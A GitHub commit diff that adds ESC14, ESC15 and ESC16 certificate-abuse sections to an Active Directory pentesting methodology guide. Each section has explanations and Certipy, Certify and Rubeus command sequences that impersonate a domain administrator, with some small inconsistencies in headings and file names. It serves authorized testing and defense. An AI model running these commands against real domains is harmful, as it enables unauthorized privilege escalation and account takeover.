Skip to content

Commit 3ce324e

Browse files
authored
Merge pull request #1030 from steponeerror/ECS14-16
Added a new certificate-based privilege escalation technique (ECS14-E…
2 parents 02429ee + 4d743e6 commit 3ce324e

File tree

1 file changed

+231
-0
lines changed

1 file changed

+231
-0
lines changed

src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md

Lines changed: 231 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -720,6 +720,237 @@ All it need to do just specify the template, it will get a certificate with OIDT
720720
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
721721
```
722722
723+
## Vulnerable Certificate Renewal Configuration- ESC14
724+
725+
### Explanation
726+
727+
The description at https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping is remarkably thorough. Below is a quotation of the original text.
728+
729+
ESC14 addresses vulnerabilities arising from "weak explicit certificate mapping", primarily through the misuse or insecure configuration of the `altSecurityIdentities` attribute on Active Directory user or computer accounts. This multi-valued attribute allows administrators to manually associate X.509 certificates with an AD account for authentication purposes. When populated, these explicit mappings can override the default certificate mapping logic, which typically relies on UPNs or DNS names in the SAN of the certificate, or the SID embedded in the `szOID_NTDS_CA_SECURITY_EXT` security extension.
730+
731+
A "weak" mapping occurs when the string value used within the `altSecurityIdentities` attribute to identify a certificate is too broad, easily guessable, relies on non-unique certificate fields, or uses easily spoofable certificate components. If an attacker can obtain or craft a certificate whose attributes match such a weakly defined explicit mapping for a privileged account, they can use that certificate to authenticate as and impersonate that account.
732+
733+
Examples of potentially weak `altSecurityIdentities` mapping strings include:
734+
735+
- Mapping solely by a common Subject Common Name (CN): e.g., `X509:<S>CN=SomeUser`. An attacker might be able to obtain a certificate with this CN from a less secure source.
736+
- Using overly generic Issuer Distinguished Names (DNs) or Subject DNs without further qualification like a specific serial number or subject key identifier: e.g., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
737+
- Employing other predictable patterns or non-cryptographic identifiers that an attacker might be able to satisfy in a certificate they can legitimately obtain or forge (if they have compromised a CA or found a vulnerable template like in ESC1).
738+
739+
The `altSecurityIdentities` attribute supports various formats for mapping, such as:
740+
741+
- `X509:<I>IssuerDN<S>SubjectDN` (maps by full Issuer and Subject DN)
742+
- `X509:<SKI>SubjectKeyIdentifier` (maps by the certificate's Subject Key Identifier extension value)
743+
- `X509:<SR>SerialNumberBackedByIssuerDN` (maps by serial number, implicitly qualified by the Issuer DN) - this is not a standard format, usually it's `<I>IssuerDN<SR>SerialNumber`.
744+
- `X509:<RFC822>EmailAddress` (maps by an RFC822 name, typically an email address, from the SAN)
745+
- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (maps by a SHA1 hash of the certificate's raw public key - generally strong)
746+
747+
The security of these mappings depends heavily on the specificity, uniqueness, and cryptographic strength of the chosen certificate identifiers used in the mapping string. Even with strong certificate binding modes enabled on Domain Controllers (which primarily affect implicit mappings based on SAN UPNs/DNS and the SID extension), a poorly configured `altSecurityIdentities` entry can still present a direct path for impersonation if the mapping logic itself is flawed or too permissive.
748+
### Abuse Scenario
749+
750+
ESC14 targets **explicit certificate mappings** in Active Directory (AD), specifically the `altSecurityIdentities` attribute. If this attribute is set (by design or misconfiguration), attackers can impersonate accounts by presenting certificates that match the mapping.
751+
752+
#### Scenario A: Attacker Can Write to `altSecurityIdentities`
753+
754+
**Precondition**: Attacker has write permissions to the target account’s `altSecurityIdentities` attribute or the permission to grant it in the form of one of the following permissions on the target AD object:
755+
- Write property `altSecurityIdentities`
756+
- Write property `Public-Information`
757+
- Write property (all)
758+
- `WriteDACL`
759+
- `WriteOwner`*
760+
- `GenericWrite`
761+
- `GenericAll`
762+
- Owner*.
763+
#### Scenario B: Target Has Weak Mapping via X509RFC822 (Email)
764+
765+
- **Precondition**: The target has a weak X509RFC822 mapping in altSecurityIdentities. An attacker can set the victim's mail attribute to match the target's X509RFC822 name, enroll a certificate as the victim, and use it to authenticate as the target.
766+
#### Scenario C: Target Has X509IssuerSubject Mapping
767+
768+
- **Precondition**: The target has a weak X509IssuerSubject explicit mapping in `altSecurityIdentities`.The attacker can set the `cn` or `dNSHostName` attribute on a victim principal to match the subject of the target’s X509IssuerSubject mapping. Then, the attacker can enroll a certificate as the victim, and use this certificate to authenticate as the target.
769+
#### Scenario D: Target Has X509SubjectOnly Mapping
770+
771+
- **Precondition**: The target has a weak X509SubjectOnly explicit mapping in `altSecurityIdentities`. The attacker can set the `cn` or `dNSHostName` attribute on a victim principal to match the subject of the target’s X509SubjectOnly mapping. Then, the attacker can enroll a certificate as the victim, and use this certificate to authenticate as the target.
772+
### concrete operations
773+
#### Scenario A
774+
775+
Request a certificate of the certificate template `Machine`
776+
777+
```bash
778+
.\Certify.exe request /ca:<ca> /template:Machine /machine
779+
```
780+
781+
Save and convert the certificate
782+
783+
```bash
784+
certutil -MergePFX .\esc13.pem .\esc13.pfx
785+
```
786+
787+
Authenticate (using the certificate)
788+
789+
```bash
790+
.\Rubeus.exe asktgt /user:<user> /certificate:C:\esc13.pfx /nowrap
791+
```
792+
793+
Cleanup (optional)
794+
795+
```bash
796+
Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
797+
```
798+
799+
For more specific attack methods in various attack scenarios, please refer to the following: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
800+
801+
## EKUwu Application Policies(CVE-2024-49019) - ESC15
802+
803+
### Explanation
804+
805+
The description at https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc is remarkably thorough. Below is a quotation of the original text.
806+
807+
Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template
808+
809+
### Abuse
810+
811+
The following is referenced to [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods.
812+
813+
814+
Certipy's `find` command can help identify V1 templates that are potentially susceptible to ESC15 if the CA is unpatched.
815+
816+
```bash
817+
certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
818+
```
819+
820+
#### Scenario A: Direct Impersonation via Schannel
821+
822+
**Step 1: Request a certificate, injecting "Client Authentication" Application Policy and target UPN.** Attacker `attacker@corp.local` targets `administrator@corp.local` using the "WebServer" V1 template (which allows enrollee-supplied subject).
823+
824+
```bash
825+
certipy req \
826+
-u 'attacker@corp.local' -p 'Passw0rd!' \
827+
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
828+
-ca 'CORP-CA' -template 'WebServer' \
829+
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
830+
-application-policies 'Client Authentication'
831+
```
832+
833+
- `-template 'WebServer'`: The vulnerable V1 template with "Enrollee supplies subject".
834+
- `-application-policies 'Client Authentication'`: Injects the OID `1.3.6.1.5.5.7.3.2` into the Application Policies extension of the CSR.
835+
- `-upn 'administrator@corp.local'`: Sets the UPN in the SAN for impersonation.
836+
837+
**Step 2: Authenticate via Schannel (LDAPS) using the obtained certificate.**
838+
839+
```bash
840+
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
841+
```
842+
843+
#### Scenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
844+
845+
**Step 1: Request a certificate from a V1 template (with "Enrollee supplies subject"), injecting "Certificate Request Agent" Application Policy.** This certificate is for the attacker (`attacker@corp.local`) to become an enrollment agent. No UPN is specified for the attacker's own identity here, as the goal is the agent capability.
846+
847+
```bash
848+
certipy req \
849+
-u 'attacker@corp.local' -p 'Passw0rd!' \
850+
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
851+
-ca 'CORP-CA' -template 'WebServer' \
852+
-application-policies 'Certificate Request Agent'
853+
```
854+
855+
- `-application-policies 'Certificate Request Agent'`: Injects OID `1.3.6.1.4.1.311.20.2.1`.
856+
857+
**Step 2: Use the "agent" certificate to request a certificate on behalf of a target privileged user.** This is an ESC3-like step, using the certificate from Step 1 as the agent certificate.
858+
859+
```bash
860+
certipy req \
861+
-u 'attacker@corp.local' -p 'Passw0rd!' \
862+
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
863+
-ca 'CORP-CA' -template 'User' \
864+
-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
865+
```
866+
867+
**Step 3: Authenticate as the privileged user using the "on-behalf-of" certificate.**
868+
869+
```bash
870+
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
871+
```
872+
873+
## Security Extension Disabled on CA (Globally)-ESC16
874+
875+
### Explanation
876+
877+
**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** refers to the scenario where, if the configuration of AD CS does not enforce the inclusion of the **szOID_NTDS_CA_SECURITY_EXT** extension in all certificates, an attacker can exploit this by:
878+
879+
1. Requesting a certificate **without SID binding**.
880+
881+
2. Using this certificate **for authentication as any account**, such as impersonating a high-privilege account (e.g., a Domain Administrator).
882+
883+
You can also refer to this article to learn more about the detailed principle:https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
884+
885+
### Abuse
886+
887+
The following is referenced to [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally),Click to see more detailed usage methods.
888+
889+
To identify whether the Active Directory Certificate Services (AD CS) environment is vulnerable to **ESC16**
890+
891+
```bash
892+
certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
893+
```
894+
895+
**Step 1: Read initial UPN of the victim account (Optional - for restoration).
896+
897+
898+
```bash
899+
certipy account \
900+
-u 'attacker@corp.local' -p 'Passw0rd!' \
901+
-dc-ip '10.0.0.100' -user 'victim' \
902+
read
903+
```
904+
905+
**Step 2: Update the victim account's UPN to the target administrator's `sAMAccountName`.
906+
907+
```bash
908+
certipy account \
909+
-u 'attacker@corp.local' -p 'Passw0rd!' \
910+
-dc-ip '10.0.0.100' -upn 'administrator' \
911+
-user 'victim' update
912+
```
913+
914+
**Step 3: (If needed) Obtain credentials for the "victim" account (e.g., via Shadow Credentials).**
915+
916+
```shell
917+
certipy shadow \
918+
-u 'attacker@corp.local' -p 'Passw0rd!' \
919+
-dc-ip '10.0.0.100' -account 'victim' \
920+
auto
921+
```
922+
923+
**Step 4: Request a certificate as the "victim" user from _any suitable client authentication template_ (e.g., "User") on the ESC16-vulnerable CA.** Because the CA is vulnerable to ESC16, it will automatically omit the SID security extension from the issued certificate, regardless of the template's specific settings for this extension. Set the Kerberos credential cache environment variable (shell command):
924+
925+
```bash
926+
export KRB5CCNAME=victim.ccache
927+
```
928+
929+
Then request the certificate:
930+
931+
```bash
932+
certipy req \
933+
-k -dc-ip '10.0.0.100' \
934+
-target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
935+
-template 'User'
936+
```
937+
938+
**Step 5: Revert the "victim" account's UPN.**
939+
940+
```bash
941+
certipy account \
942+
-u 'attacker@corp.local' -p 'Passw0rd!' \
943+
-dc-ip '10.0.0.100' -upn 'victim@corp.local' \
944+
-user 'victim' update
945+
```
946+
947+
**Step 6: Authenticate as the target administrator.**
948+
949+
```bash
950+
certipy auth \
951+
-dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
952+
-username 'administrator' -domain 'corp.local'
953+
```
723954
## Compromising Forests with Certificates Explained in Passive Voice
724955
725956
### Breaking of Forest Trusts by Compromised CAs

0 commit comments

Comments
 (0)